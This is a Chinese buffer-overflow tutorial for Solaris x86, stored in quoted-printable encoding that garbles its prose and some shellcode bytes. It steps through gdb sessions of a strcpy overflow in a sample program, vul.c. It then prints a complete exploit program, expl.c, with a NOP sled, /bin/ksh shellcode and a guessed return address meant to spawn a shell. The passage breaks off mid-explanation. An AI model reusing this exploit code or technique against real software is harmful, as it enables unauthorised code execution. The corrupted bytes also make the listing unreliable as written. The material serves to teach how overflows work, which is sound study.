=D4=DA=BC=C4=B4=E6=C6=F7ESP=D6=D0=B5=C4=CA=C7=B5= =B1=C7=B0=B6=D1=D5=BB=D5=BB=B6=A5=D6=B8=D5=EB0x8047bb4=A3=AC=20 = =B6=F8EBP=CE=AAmain=BA=AF=CA=FD=B6=D1=D5=BB=D5=BB=B5=D7=D6=B8=D5=EB0x8047= bcc=A3=AC=D5=E2=B8=F60x8047bcc=CA=C7=D2=AA=B4=F3=BC=D2=BC=C7=D7=A1=B5=C4=B5= =DA=B6=FE=B8=F6=B5=D8=D6=B7=A3=AC=D2=F2=CE=AA=CF=C2=C3=E6=D2=B2=D2=AA=CC=E1= =B5=BD=CB=FC=A1=A3

=BC=CC=D0=F8=CF=F2=CF=C2=D6=B4=D0=D0
*/
(= gdb)=20 si
Foo (s=3D0x2 <Address 0x2 out of bounds>) at=20 vul.c:4
4       {
(gdb) = x/5i=20 $eip
0x8050904=20 = <Foo>:        push &nb= sp;=20 %ebp
0x8050905=20 = <Foo+1>:      mov   &n= bsp;%esp,%ebp
0x8050907=20 = <Foo+3>:      sub   &n= bsp;$0x18,%esp
0x805090a=20 = <Foo+6>:      mov   &n= bsp;0x8050a28,%al
0x805090f=20 <Foo+11>:    =20 mov    %al,0xfffffff0(%ebp)
(gdb) = s
Foo=20 (s=3D0x8047d0d "AAAAAAAAAA") at=20 = vul.c:5
5          &= nbsp;   =20 char buf[16]=3D"";
(gdb)=20 = s
6           &= nbsp;  =20 strcpy(buf, s);
(gdb)=20 = s
7           &= nbsp;  =20 printf("The input String is %s\n",=20 = buf);
/*
=CB=B5=CA=B1=B3=D9=C4=C7=CA=B1=BF=EC=A3=AC=B3=CC=D0=F2=D2=D1= =BE=AD=BD=F8=C8=EBFoo=D6=D0=A3=AC=B2=A2=B0=D1=CA=E4=C8=EB=B5=C4=D7=D6=B7=FB= =B4=AE=BF=BD=B1=B4=B5=BD=C1=CB=BB=BA=B3=E5=C7=F8buf=D6=D0=A1=A3=CE=D2=C3=C7= =C0=B4=BF=B4=D2=BB=CF=C2=B5=B1=C7=B0=B6=D1=D5=BB=B5=C4=C4=DA=C8=DD=A3=BA<= BR>*/
(gdb)=20 x/20x=20 = $esp
0x8047b94:      0xdfb35d90 &nb= sp;    0x00000210      = 0x41414141      0x41414141
0x8047ba4:&nb= sp;     0x00004141     =  0x00000000      0x08047bcc  = ;    0x0805096f
0x8047bb4:    =   0x08047d0d      0xdfb3d3a7 = ;     0xdfbf137f     &n= bsp;0x08047bb0
0x8047bc4:      0xdfbfb00= 0      0xdfbf137f    &n= bsp; 0x08047be8      0x0805081b
0x8= 047bd4:      0x00000002   &n= bsp;  0x08047bf4      0x08047c00&= nbsp;     0x08050a10
(=D2=D4=CF=C2=B3=CC=D0=F2= =D6=B4=D0=D0=CA=A1=C2=D4=A1=A3=A1=A3=A1=A3)

=B4=D3=B5=D8=D6=B70x80= 47b9c=B5=BD0x8047bab=B5=C4=C7=F8=D3=F2=CA=C7=CF=B5=CD=B3=B7=D6=C5=E4=B8=F8= buf=B5=C4=BB=BA=B3=E5=C7=F8=A3=AC=B8=D5=BA=C316=B8=F6=D7=D6=BD=DA=A3=AC=B7= =D6=B1=F0=B6=D4=D3=A6buf=B5=C416=B8=F6=D7=D6=B7=FB=A3=BB=C7=B0=C3=E6=B5=C4= 10=B8=F6=D7=D6=BD=DA=D2=D1=BE=AD=CC=EE=C9=CF=C1=CB10=B8=F6=B8=D5=BF=BD=B1= =B4=BD=F8=C0=B4=B5=C4=D7=D6=B7=FB'A'=B5=C4ASCII=C2=EB41=A1=A3=BD=F4=BD=D3= =D7=C5=D5=E216=B8=F6=D7=D6=BD=DA=B5=C4=CA=C70x08047bcc=A3=AC=BE=CD=CA=C7=CE= =D2=B8=D5=B2=C5=D2=AA=B4=F3=BC=D2=BC=C7=D7=A1=B5=C4=B5=F7=D3=C3=BA=AF=CA=FD= main=B5=C4=B6=D1=D5=BB=D5=BB=B5=D7=B5=D8=D6=B7=A3=BB=D4=D9=BA=F3=C3=E6=B5= =C4=CA=C7=CE=D2=D2=AA=B4=F3=BC=D2=BC=C7=D7=A1=B5=C4=B1=BB=B5=F7=D3=C3=BA=AF= =CA=FDFoo=B5=C4=B7=B5=BB=D8=B5=D8=D6=B70x0805096f=A1=A3

=B8=F9=BE=DD= =C9=CF=C3=E6=B5=C4=B7=D6=CE=F6=CE=D2=C3=C7=BF=C9=D2=D4=BB=AD=D2=BB=B8=F6=BB= =BA=B3=E5=C7=F8=D4=DA=C4=DA=B4=E6=D6=D0=B5=C4=B7=D6=B2=BC=CD=BC=A3=BA
=
|<--buf:=20 16 Byte-->|<--Calling Function $EBP: 4 = Byte-->|<--Called=20 Function RetAddr: 4 Byte=20 = -->|

=B4=F3=BC=D2=BF=B4=B5=BD=A3=ACbuf=BB=BA=B3=E5=C7=F8=B1=BB=B7= =D6=C5=E4=D4=DA=B6=D1=D5=BB=D6=D0=A3=AC=B6=F8=C7=D2=CA=C7=BA=CD=D6=D8=D2=AA= =B5=C4=CF=B5=CD=B3=B9=DC=C0=ED=CA=FD=BE=DD=C8=E7=A3=BA=B5=F7=D3=C3=BA=AF=CA= =FD=B6=D1=D5=BB=D5=BB=B5=D7=B5=D8=D6=B7=A1=A2=B1=BB=B5=F7=D3=C3=BA=AF=CA=FD= =B5=C4=B7=B5=BB=D8=B5=D8=D6=B7=BD=F4=BD=F4=B5=D8=BF=BF=D4=DA=D2=BB=BF=E9-= ---=D5=E2=A3=AC=BE=CD=CA=C7=B1=AF=BE=E7=B5=C4DNA=B8=F9=D4=B4=A1=A3
=D4=DAFoo=D6=D0=A3=ACbuf=CA=C7strcpy=BF=BD=B1=B4=D7=D6=B7=FB=B4=AE=B5=C4= =C4=BF=B1=EA=A3=AC=B6=F8=D4=B4=D7=D6=B7=FB=B4=AE=CE=AAs=A1=A3strcpy=D6=D2= =CA=B5=B5=D8=B0=D1=D4=B4=D7=D6=B7=FB=B4=AEs=CD=EA=D5=FB=B5=D8=BF=BD=B1=B4= =B5=BD=D2=D4buf=CE=AA=BF=AA=B6=CB=B5=C4=C4=DA=B4=E6=BA=F3=C3=E6=A1=A3=C8=E7= =B9=FBs=B5=C4=B3=A4=B6=C8=B3=AC=B9=FDbuf=B5=C4=B3=A4=B6=C8=A3=AC=D2=B2=BE= =CD=CA=C7=B3=AC=B9=FD16=B8=F6=D7=D6=BD=DA=B5=C4=BB=B0=A3=AC=B5=F7=D3=C3=BA= =AF=CA=FDmain=B5=C4=B6=D1=D5=BB=D5=BB=B5=D7=B5=D8=D6=B7=BA=CD=B1=BB=B5=F7= =D3=C3=BA=AF=CA=FDFoo=B5=C4=B7=B5=BB=D8=B5=D8=D6=B7=BE=CD=BB=E1=B1=BB=B8=B2= =B8=C7=B5=F4=A3=AC=EC=B6=CA=C7=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=B5=C4=B1=AF=BE= =E7=BE=CD=B7=A2=C9=FA=C1=CB=A1=A3=B1=AF=BE=E7=B5=C4=BD=E1=B9=FB=C7=E1=D4=F2= =B2=FA=C9=FAcoredump=A3=AC=20 = =D6=D8=D4=F2=B1=BB=D2=BB=B4=F3=B6=D1=CC=EC=CF=C2=D3=A2=D0=DBExploit=A1=A3=


EXPLOIT=20 = =BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=A3=BA


=CF=C2=C3=E6=CA=C7=BB=BA=B3= =E5=C7=F8=D2=E7=B3=F6=B5=BC=D6=C2coredump=B5=C4=C0=FD=D7=D3=A3=AC=CE=D2=C3= =C7=B8=F8vul=CA=E4=C8=EB=D2=BB=B8=F6=B3=A4=B6=C8=CE=AA20=B5=C4=D7=D6=B7=FB= =B4=AE=A1=A3=B8=F9=BE=DD=C9=CF=C3=E6=B5=C4=B7=D6=CE=F6=A3=AC=D5=E2=B8=F6=D7= =D6=B7=FB=B4=AE=BB=E1=D4=DAFoo=D6=D0=D2=E7=B3=F620-16=3D4=B8=F6=D7=D6=BD=DA= (=CA=B5=BC=CA=C9=CF=BB=B9=D3=A6=B8=C3=B0=FC=C0=A8=BD=E1=CE=B2=B5=C4=D7=D6= =BD=DA'\x00')=A3=AC=BB=E1=B0=D1main=B5=C4=B6=D1=D5=BB=D5=BB=B5=D7=B5=D8=D6= =B7=B8=B2=B8=C7=B5=F4=A3=BA
    
shanghai=20 =3D>vul  AAAAAAAAAAAAAAAAAAAA
The input = String is=20 AAAAAAAAAAAAAAAAAAAA
Segmentation=20 = Fault(coredump)

=D2=E7=B3=F6=B5=C4=BD=E1=B9=FB=CA=C7=B6=CE=B4=ED=CE= =F3=B5=BC=D6=C2coredump=A3=AC=B3=CC=D0=F2=B1=BB=CF=B5=CD=B3=D6=D5=D6=B9=D6= =B4=D0=D0=A1=A3=CE=D2=C3=C7=D4=D9=D3=C3gdb=BF=B4=BF=B4coredump=B3=F6=C0=B4= =B5=C4core=CE=C4=BC=FE=A3=ACvul=D6=D0=D3=D0=D4=B4=B3=CC=D0=F2=B5=C4symbol= =BF=C9=D2=D4=B0=EF=D6=FA=B7=D6=CE=F6=A1=A3

shanghai=20 =3D>gdb vul core
GNU gdb 5.2
Copyright 2002 Free = Software=20 Foundation, Inc.
GDB is free software, covered by the GNU = General=20 Public License, and
you are
welcome to change it = and/or=20 distribute copies of it under certain =
conditions.
Type "show=20 copying" to see the conditions.
There is absolutely no = warranty=20 for GDB.  Type "show warranty" for =
details.
This=20 GDB was configured as "i386-pc-solaris2.8"...
Core was = generated=20 by `vul AAAAAAAAAAAAAAAAAAAA'.
Program terminated with = signal 11,=20 Segmentation fault.
Reading symbols from=20 /usr/lib/libc.so.1...done.
Loaded symbols for=20 /usr/lib/libc.so.1
Reading symbols from=20 /usr/lib/libdl.so.1...done.
Loaded symbols for=20 /usr/lib/libdl.so.1
#0  0x08050900 in = init_dummy=20 = ()
/*
=BF=B4=BF=B4coredump=CA=B1=BC=C4=B4=E6=C6=F7=B5=C4=C4=DA=C8=DD= =A3=BA
*/
(gdb) i=20 = reg
eax          &nb= sp; 0x29    =20 = 41
ecx          &nbs= p; 0x0      0
edx   =          0xe10e62e0 &nb= sp;    =20 = -519150880
ebx         &n= bsp;  0xdfbfb000      =20 = -541085696
esp         &n= bsp;  0x8047c00        = 0x8047c00
ebp         &nb= sp;  0x41414141      =20 = 0x41414141
esi         &n= bsp;  0x8047bfc        = 134511612
edi         &nb= sp;  0x8047cc0        1= 34511808
eip         &nbs= p;  0x8050900        0x= 8050900
eflags        =20 = 0x10202  66050
cs       &= nbsp;    =20 0x17    =20 = 23
ss           = ; =20 0x1f    =20 = 31
ds           = ; =20 0x1f    =20 = 31
es           = ; =20 0x1f    =20 = 31
fs           = ; =20 = 0x0      0
gs    &nb= sp;       =20 = 0x0      0
fctrl    =       0x137f  =20 = 4991
fstat          = 0x0      0
ftag    &= nbsp;     =20 0xffff  =20 = 65535
fiseg          = ;0x0      0
fioff    = ;      0x0     &nb= sp;0
foseg          = 0x0      0
fooff    =       0x0     &nbs= p;0
---Type=20 <return> to continue, or q <return> to=20 quit---q
Quit
(gdb) x/20x=20 $ebp
0x41414141:     Cannot access = memory at=20 address 0x41414141
(gdb) q
shanghai = =3D>
shanghai=20 = =3D>

=BC=C4=B4=E6=C6=F7EBP=D6=D0=B5=C4=C4=DA=C8=DD=CE=AA=CA=E4=C8= =EB=D7=D6=B7=FB=B4=AE"AAAA"=B5=C4ASCII=C2=EB0x41414141=A3=AC=CF=B5=CD=B3=B0= =D1=D2=E7=B3=F6=C0=B4=B5=C40x41414141=B5=B1=D7=F7=B5=F7=D3=C3=BA=AF=CA=FD= main=B5=C4=B6=D1=D5=BB=D5=BB=B5=D7=B5=D8=D6=B7=B6=F8=BB=D6=B8=B4=B8=F8=BC= =C4=B4=E6=C6=F7EBP=A1=A3=B5=AB=CA=C7=D3=C9=D3=DA=C4=DA=B4=E60x41414141=D6= =D0=CA=C7=B2=BB=C4=DC=B7=C3=CE=CA=B5=C4=A3=AC=BD=E1=B9=FB=D4=EC=B3=C9=B6=CE= =B3=F6=B4=ED=A1=A3

=CE=D2=C3=C7=CF=C2=C3=E6=B8=F8vul=CA=E4=C8=EB=CD= =AC=D1=F9=B5=C420=B8=F6=D7=D6=B7=FB=A3=AC=B2=BB=B9=FD=D5=E2=B4=CE=CA=D4=D7= =C5=D3=C3gdb=C0=B4debug=B3=CC=D0=F2vul=A3=BA

shanghai=20 =3D>gdb vul
GNU gdb 5.2
Copyright 2002 Free = Software=20 Foundation, Inc.
GDB is free software, covered by the GNU = General
Public License, and you are
welcome to change = it=20 and/or distribute copies of it
under certain = conditions.
Type=20 "show copying" to see the conditions.
There is absolutely = no=20 warranty for GDB.  Type "show
warranty" for=20 details.
This GDB was configured as=20 "i386-pc-solaris2.8"...
(gdb) b main
Breakpoint 1 at=20 0x8050956: file vul.c, line 12.
(gdb) b Foo
Breakpoint = 2 at=20 0x805090a: file vul.c, line 5.
(gdb) r=20 AAAAAAAAAAAAAAAAAAAA
Starting program:=20 = /export/home/moda/buf_of/vul
AAAAAAAAAAAAAAAAAAAA

Breakpoint=20 1, main (argc=3D2, argv=3D0x8047c0c)=20 = at
vul.c:12
12         = ;     if(argc=20 =3D=3D 2)
(gdb) c
Continuing.

Breakpoint 2, Foo = (s=3D0x8047d21 'A' <repeats 20 times>)
at=20 = vul.c:5
5          &= nbsp;   =20 char buf[16]=3D"";
(gdb)=20 = s
6           &= nbsp;  =20 strcpy(buf, s);
(gdb)=20 = s
7           &= nbsp;  =20 printf("The input String is %s\n",
buf);
(gdb) = s
The input=20 String is=20 = AAAAAAAAAAAAAAAAAAAA
8      =20 }
(gdb) x/20x = 0x41414141
0x41414141:    =20 Cannot access memory at=20 = address
0x41414141
(gdb)
(=D2=D4=CF=C2=C2=D4=A1=A3=A1=A3=A1=A3)<= BR>
=B5=B1=CE=D2=C3=C7=C6=F3=CD=BC=B7=C3=CE=CA=B5=D8=D6=B70x41414141=CA= =B1=A3=ACgdb=B9=FB=C8=BB=B1=A8=B4=ED"Cannot=20 access memory at=20 = address"=A1=A3

=BA=C3=C1=CB=A3=ACcoredump=B5=C4=C7=E9=BF=F6=BE=CD=BD= =E9=C9=DC=B5=BD=B4=CB=CE=AA=D6=B9=A1=A3=CF=D6=D4=DA=BC=D9=C9=E8=C4=E3=CA=C7= =CC=EC=CF=C2=D3=A2=D0=DB=D6=D0=B5=C4=D2=BB=CE=BB=A3=AC=C4=E3=BD=AB=D4=F5=D1= =F9exploit=D5=E2=B8=F6=C2=A9=B6=B4=B3=CC=D0=F2vul=C4=D8=A3=BF=CE=D2=C3=C7= =D4=D9=BB=D8=B9=CB=D2=BB=CF=C2=D4=DAIntel/X86=BC=DC=B9=B9=D6=D0=BB=BA=B3=E5= =C7=F8=D6=DC=CE=A7=B5=C4=C4=DA=B4=E6=B7=D6=C5=E4=C7=E9=BF=F6=A3=BA
|<--buf:=20 16 Byte-->|<--Calling Function $EBP: 4 = Byte-->|<--Called=20 Function RetAddr: 4 Byte=20 = -->|

=D2=AA=B3=C9=B9=A6=B5=D8Exploit=D5=E2=B8=F6=B3=CC=D0=F2=A3= =BA=B5=DA=D2=BB=A3=AC=CE=D2=C3=C7=D2=AA=C8=C3buf=D2=E7=B3=F6=D6=B1=B5=BD=B8= =B2=B8=C7RetAddr(=B1=BB=B5=F7=D3=C3=BA=AF=CA=FDFoo=B5=C4=B7=B5=BB=D8=B5=D8= =D6=B7)=A3=BB=B5=DA=B6=FE=A3=AC=B8=B2=B8=C7=BA=F3RetAddr=B5=C4=D6=B5=B1=D8= =D0=EB=D6=B8=CF=F2=CE=D2=C3=C7=C9=E8=BC=C6=B5=C4=BA=DA=BF=CD=C2=EB=20 =A1=A3=D5=E2=D1=F9=A3=AC=20 = =B5=B1=B1=BB=B5=F7=D3=C3=BA=AF=CA=FDFoo=D4=CB=D0=D0=BD=E1=CA=F8=D7=BC=B1=B8= =B7=B5=BB=D8=CA=B1=A3=AC=CB=FC=BE=CD=BA=FD=C0=EF=BA=FD=CD=BF=B5=D8=D1=D8=D7= =C5=B1=BB=D0=DE=B8=C4=B9=FD=B5=C4RetAddr=B7=B5=BB=D8=B5=BD=CE=D2=C3=C7=B5= =C4=BA=DA=BF=CD=C2=EB=D6=D0=A1=A3

=CF=C2=C3=E6=B5=C4expl.c=BE=CD=CA= =C7=CA=B5=CF=D6Exploit=B5=C4=D2=BB=B8=F6=C0=FD=D7=D3=A3=AC=CB=FC=CF=C8=BE= =AB=D0=C4=C5=DD=D6=C6=D2=BB=B8=F6=B3=A4=D7=D6=B7=FB=B4=AE(=D3=C9bufferptr= =D6=B8=CF=F2)=A3=AC=D4=D9=B0=D1=D5=E2=B8=F6=B3=A4=D7=D6=B7=FB=B4=AE=D7=F7= =CE=AA=CA=E4=C8=EB=B2=CE=CA=FD=C0=B4=B5=F7=D3=C3=B3=CC=D0=F2vul=A1=A3vul=D4= =DA=D6=B4=D0=D0=D6=D0=BB=BA=B3=E5=C7=F8buf=D2=E7=B3=F6=A3=AC=B8=B2=B8=C7=C1= =CBRetAddr=A3=AC=BD=E1=B9=FB=CA=C7=B3=CC=D0=F2=D1=D8=D7=C5=D0=C2=B5=C4Ret= Addr=CC=F8=C8=EB=CE=D2=C3=C7=B5=C4=BA=DA=BF=CD=C2=EB=D6=B4=D0=D0=B6=F8=B2= =FA=C9=FA=D2=BB=B8=F6shell=A1=A3


<=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3Dexpl.c=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>=

#include=20 <stdio.h>

#define NOP  0x90 =
#define=20 NOPNUM  100
#define CRAP=20 = 0xbbbbbbb
shellCode[]=3D       &nbs= p;/*from=20 = www.lsd-pl.net*/
    "\xeb_5cx1a"   = ;     =20 /* jmp <shellcode+28>=20 = */
    "\x33\xd2"     &nb= sp;  =20 /* xorl %edx,%edx=20 = */
    "\x58"      &= nbsp; =20 /* popl %eax=20 = */
    "\x8d\x78\x14"    =20 /* leal 0x14(%eax),%edi=20 = */
    "\x57"      &= nbsp; =20 /* pushl %edi=20 = */
    "\x50"      &= nbsp; =20 /* pushl %eax=20 = */
    "\xab"      &= nbsp; =20 /* stosl %eax,%es:(%edi)=20 = */
    "\x92"      &= nbsp; =20 /* xchgl %eax,%edx=20 = */
    "\xab"      &= nbsp; =20 /* stosl %eax,%es:(%edi)=20 = */
    "\x88\x42\x08"    =20 /* movb %al,0x8(%edx)=20 = */
    "
'5cx83\xef\x3b"    = ;=20 /* subl $0x3b,%edi=20 = */
    "\xb0\x9a"     &nb= sp;  =20 /* movb $0x9a,%al=20 = */
    "\xab"      &= nbsp; =20 /* stosl %eax,%es:(%edi)=20 = */
    "\x47"      &= nbsp; =20 /* incl %edi=20 = */
    "\xb0\x07"     &nb= sp;  =20 /* movb $0x07,%al=20 = */
    "\xab"      &= nbsp; =20 /* stosl %eax,%es:(%edi)=20 = */
    "\xb0\x0b"     &nb= sp;  =20 /* movb $0x0b,%al=20 = */
    "\xe8\xe1\xffPcxff\xff"   &n= bsp;=20 /* call <shellcode+2>=20 = */
    "/bin/ksh";

get_esp()
{
__asm_= _("mov=20 %esp, %eax");
}

main(int argc, char=20 **argv)
{
char*  bufferPtr =3D=20 NULL;
char*  dynPtr =3D NULL;
/*5 CRAPs =3D = 20 byte, 1=20 byte terminator */
int bufferSize =3D NOPNUM + = strlen(shellCode) +=20 1 + 20;  


int retAddr =3D 0;
int = adjustment =3D=20 0;
int esp =3D get_esp();

int i;

if(argc = >=3D=20 2)
{
      adjustment = =3D=20 atoi(argv[1]);
}

retAddr =3D esp +=20 adjustment;

bufferPtr =3D (char *)=20 malloc(bufferSize);
dynPtr =3D bufferPtr;

*( (void = **)dynPtr=20 ) =3D (void *)( CRAP );
dynPtr +=3D 4;
*( (void = **)dynPtr ) =3D=20 (void *)( CRAP );
dynPtr +=3D 4;
*( (void **)dynPtr = ) =3D (void=20 *)( CRAP );
dynPtr +=3D 4;
*( (void **)dynPtr ) =3D = (void *)(=20 CRAP );
dynPtr +=3D 4;
*( (void **)dynPtr ) =3D = (void *)( CRAP=20 );
dynPtr +=3D 4;
*( (void **)dynPtr ) =3D (void *)=20 retAddr;
dynPtr +=3D 4;

for(i=3D0; i<NOPNUM;=20 i++)
{
  *dynPtr++ =3D = NOP;
}

for(i=3D0;=20 i<strlen(shellCode); i++)
{
  *dynPtr++ = =3D=20 shellCode[i];
}
*dynPtr =3D 0; =

printf("esp=3D0x%.8x,=20 adjustment=3D0x%.8x, jump to 0x%.8x\n", esp, adjustment,=20 retAddr);

execl("./vul", "vul", bufferPtr,=20 = NULL);
}

<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>

=C8=C3= =CE=D2=C3=C7=D3=C3gdb=C0=B4=D7=D0=CF=B8=D1=D0=BE=BF=D2=BB=CF=C2=D5=E2=B8=F6= =BE=AB=D0=C4=C5=DD=D6=C6=B5=C4=B3=A4=D7=D6=B7=FB=B4=AE=A1=A3=CF=C8=D2=D4d= ebug=C4=A3=CA=BD=B1=E0=D2=EBexpl.c=A3=BA

shanghai=20 =3D>gcc expl.c -o expl = -g

=D4=D9=D3=C3gdb=C0=B4Debug=A3=BA

shanghai=20 =3D>gdb expl
GNU gdb 5.2
Copyright 2002 Free = Software=20 Foundation, Inc.
GDB is free software, covered by the GNU = General=20 Public License, and you are
welcome to change it and/or=20 distribute copies of it under certain conditions.
Type = "show=20 copying" to see the conditions.
There is absolutely no = warranty=20 for GDB.  Type "show warranty" for = details.
This GDB=20 was configured as "i386-pc-solaris2.8"...
(gdb) b=20 main
Breakpoint 1 at 0x8050996: file expl.c, line = 35.
(gdb) b=20 79
Breakpoint 2 at 0x8050aca: file expl.c, line=20 = 79.
/*
=CE=D2=C3=C7=D4=DA=D4=B4=B3=CC=D0=F2expl.c=B5=C4=B5=DA79=D0=D0= =A3=AC=D2=B2=BE=CD=CA=C7printf=BA=AF=CA=FD=B4=A6=C9=E8=D6=C3=D2=BB=B8=F6=D6= =D0=B6=CF=B5=E3=A1=A3=D2=F2=CE=AA=B5=B1=B3=CC=D0=F2=D4=CB=D0=D0=B5=BD=D5=E2= =C0=EF=CA=B1=A3=AC=CE=D2=C3=C7=B5=C4=B3=A4=D7=D6=B7=FB=B4=AE=D2=D1=BE=AD=C5= =DA=D6=C6=CD=EA=B1=CF=A1=A3

=BF=AA=CA=BC=D6=B4=D0=D0=A3=BA
*/(gdb)=20 r
Starting program: /export/home/moda/buf_of/expl=20

Breakpoint 1, main (argc=3D1, argv=3D0x8047c00) at=20 expl.c:35
35      =20 char*  bufferPtr =3D NULL;
(gdb)=20 c
Continuing.

Breakpoint 2, main (argc=3D1, = argv=3D0x8047c00)=20 at=20 = expl.c:79
79        printf("es= p=3D0x%.8x,=20 adjustment=3D0x%.8x, jump to 0x%.8x\n", esp, adjustment,=20 = retAddr);
/*
=CF=D6=D4=DA=B3=CC=D0=F2=D4=DD=CA=B1=D6=D0=B6=CF=D4=DA= =B5=DA79=D0=D0=A1=A3=CE=D2=C3=C7=C0=B4=BF=B4=BF=B4=B8=D5=B8=D5=D7=F7=BA=C3= =B5=C4=B3=A4=D7=D6=B7=FB=B4=AE=A3=BA
*/
(gdb)=20 x/20x=20 = bufferPtr
0x8060d88:      0x0bbbbbbb&nbs= p;     0x0bbbbbbb     &= nbsp;0x0bbbbbbb      0x0bbbbbbb
0x8060d9= 8:      0x0bbbbbbb    &= nbsp; 0x08047ba8      0x90909090 =      0x90909090
0x8060da8:   &= nbsp;  0x90909090      0x90909090=       0x90909090    &nb= sp; 0x90909090
0x8060db8:      0x90= 909090      0x90909090   &nb= sp;  0x90909090      0x909090900x8060dc8:      0x90909090  &nb= sp;   0x90909090      0x9090= 9090      0x90909090
(gdb)=20 =
0x8060dd8:      0x90909090  &= nbsp;   0x90909090      0x90= 909090      0x90909090
0x8060de8: &= nbsp;    0x90909090     &nbs= p;0x90909090      0x90909090  &nb= sp;   0x90909090
0x8060df8:    &nbs= p; 0x90909090      0x90909090 &nb= sp;    0x90909090      = 0xd2331aeb
0x8060e08:      0x14788d58&nb= sp;     0x92ab5057     =  0x084288ab      0xb03bef83
0x8060e= 18:      0xb047ab9a    =   0x0bb0ab07      0xffffe1e8 = ;     0x69622fff
(gdb)=20 =
0x8060e28:      0x736b2f6e  &= nbsp;   0x00000068      0x00= 001f40      0x00000000
0x8060e38: &= nbsp;    0x00000000     &nbs= p;0x00000000      0x00000000  &nb= sp;   0x00000000
0x8060e48:    &nbs= p; 0x00000000      0x00000000 &nb= sp;    0x00000000      = 0x00000000
0x8060e58:      0x00000000&nb= sp;     0x00000000     =  0x00000000      0x00000000
0x8060e= 68:      0x00000000    =   0x00000000      0x00000000 = ;     0x00000000
(=D2=D4=CF=C2=B3=CC=D0=F2=D6= =B4=D0=D0=CA=A1=C2=D4=A1=A3=A1=A3=A1=A3)


1.  
=D5= =E2=B8=F6=D7=D6=B7=FB=B4=AE=B4=D30x8060d88=BF=AA=CA=BC=B5=BD0x8060e2c=BD=E1= =CA=F8=A3=AC=D3=D0165=B8=F6=D7=D6=BD=DA=A1=A3=CB=FC=D7=F7=CE=AA=C2=A9=B6=B4= =B3=CC=D0=F2vul=B5=C4=CA=E4=C8=EB=B2=CE=CA=FD=A3=AC=BD=AB=D2=AA=D2=E7=B3=F6= 165-16=3D149=B8=F6=D7=D6=BD=DA=A1=A3
2.  
=D7=EE=C7=B0=C3= =E620=B8=F6=D7=D6=BD=DA=B5=C40xbb=BD=AB=D3=C3=D3=DA=B8=B2=B8=C7=BB=BA=B3=E5= =C7=F8buf=B5=C416=B8=F6=D7=D6=BD=DA=BA=CDmain=B5=C4$EBP=B5=C44=B8=F6=D7=D6= =BD=DA=A1=A3
3.  
=BD=F4=BD=D3=D7=C520=B8=F60xbb=B5=C40x0= 8047ba8=BD=AB=D2=AA=B8=B2=B8=C7Foo=B5=C4=B7=B5=BB=D8=B5=D8=D6=B7RetAddr=A1= =A3=D5=E2=B8=F60x08047ba8=CA=C7=D3=C9=BA=AF=CA=FDget_esp()=B4=D3expl=BD=F8= =B3=CC=D6=D0=C8=A1=B5=C3=B5=C4=B6=D1=D5=BB=D5=BB=B6=A5ESP=D6=B5=A1=A3=D3=C9= =D3=DAexpl=B5=C4=D4=CB=D0=D0=BB=B7=BE=B3=D3=EBvul=C0=E0=CB=C6=A3=AC=CB=F9= =D2=D4=CE=D2=C3=C7=BF=C9=D2=D4=D3=C3=D5=E2=B8=F6ESP=D6=B5=B4=F3=D6=C2=CD=C6= =B3=F6vul=BD=F8=B3=CC=B5=C4=B6=D1=D5=BB=CE=BB=D6=C3=A3=AC=CB=E4=C8=BB=D5=E2= =D6=BB=CA=C7=B8=F6=BA=EA=B9=DB=B5=F7=BF=D8=B5=C4=CA=D6=B6=CE=B6=F8=D2=D1=A3= =AC=B5=AB=CA=C7"=CB=E4=B2=BB=D6=D0=A3=AC=D2=E0=B2=BB=D4=B6=D2=D3"=A3=BB=CE= =D2=C3=C7=D6=BB=D0=E8=D2=AA=B6=D4=D5=E2=B8=F6=D0=C2=B5=C4=B7=B5=BB=D8=B5=D8= =D6=B7=D4=D9=D7=F7=D0=A9=CE=A2=B9=DB=B5=F7=BF=D8=A3=AC=BE=CD=BF=C9=D2=D4=C8= =C3=CB=FC=D7=BC=C8=B7=B5=D8=D6=B8=CF=F2=B8=FA=D4=DA=BA=F3=C3=E6=B5=C4=D2=BB= =B4=F3=B6=D10x90=D6=D0=A1=A3=CE=A2=B9=DB=B5=F7=BF=D8=B5=C4=CA=D6=B6=CE=BC= =B4=CE=AAexpl=B5=C4=CA=E4=C8=EB=B2=CE=CA=FDadjustment=A1=A3
4. &n= bsp;
=B6=D4=D3=DAIntel/X86=B5=C4=B4=A6=C0=ED=C6=F7=C0=B4=CB=B5=A3=AC0x= 90=BE=CD=CA=C7NOP=A1=A3NOP=A3=AC=BE=CD=CA=C7NO=20 = OPERATION=B5=C4=D2=E2=CB=BC=A1=A3=B4=F3=B6=E0=CA=FD=C7=E9=BF=F6=CF=C2=CB=FC= =BE=CD=CF=F3=BA=DC=B6=E0=BB=FA=B9=D8=B5=A5=CE=BB=B5=C4=B8=C9=B2=BF=D2=BB=D1= =F9=A3=AC=D5=BC=D7=C5=D2=BB=B8=F6=CE=BB=D6=C3=C8=B4=B2=BB=D7=F7=CA=B2=C3=B4= =CA=C2=A1=A3=CE=D2=C3=C7=D5=E2=B8=F6=B3=A4=D7=D6=B7=FB=B4=AE=B9=B2=D3=D0=B8= =C9=B2=BF100=B8=F6=A3=AC=B2=BB=B9=FD=D5=E2=C0=EF=CE=D2=D2=AA=CB=FB=C3=C7=D7= =F6=B5=E3=CA=C2=A3=AC=D6=AF=D2=BB=B8=F6=B0=B2=C8=AB=CD=F8----=BE=CD=CA=C7= =D3=D0=C8=CB=CC=F8=C2=A5=B5=C4=CA=B1=BA=F2=A3=AC=CF=FB=B7=C0=B6=D3=D4=B1=D4= =DA=C2=A5=CF=C2=D5=C5=BF=AA=BD=D3=C8=CB=B5=C4=C4=C7=D6=D6=CD=F8=A1=A3=CD=F8= 